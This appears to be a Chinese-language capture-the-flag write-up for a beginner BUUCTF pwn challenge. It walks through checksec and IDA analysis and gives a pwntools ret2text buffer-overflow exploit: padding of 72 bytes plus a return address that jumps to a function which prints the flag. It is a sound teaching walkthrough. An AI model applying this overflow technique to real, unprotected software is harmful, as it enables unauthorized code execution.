目录
一、基本思路
1.checksec一下
还是一道没有开启任何保护的题目,暂且归类为简单题
2.ida分析一下
我们看到主函数朴实无华地给出了危险函数gets(),同时还有主函数直接returngets的内容,这里思路就到达ret2text的线上
然后我们再翻一翻,找一找,有个sub_40060D的函数,进去一看,不得了不得了,我们的payload直接利用sub_40060D函数就行了,甚至不需要获取shell权限,地址在反编译之前可以在函数末尾看见的,就不做展示了
二、构造exp
1.exp代码展示
#!/usr/bin/python3 ##这个是我使用虚拟机里面python的地址,大家自行调整
from pwn import*
io=remote("node5.buuoj.cn",端口)
payload=b'a'*(4*16+8)+p64(0x40060D)
io.sendline(payload)
io.interactive()
解释一下这里填充数据为什么是4*16,我们在ida里面双击v5这个字符进入栈区一看,它是在s的基础上,从0到40的var_40占用的是4*16个字节的空间,+8是因为64位文件的rbp需要填充
2.运行结果
由于文件的漏洞函数直接打开了flag文件,所以我们直接得到了flag的交互
三、小结一下
总的来说,这个题目的漏洞十分明显并且方便利用,对于刚入门来说还是非常友好了。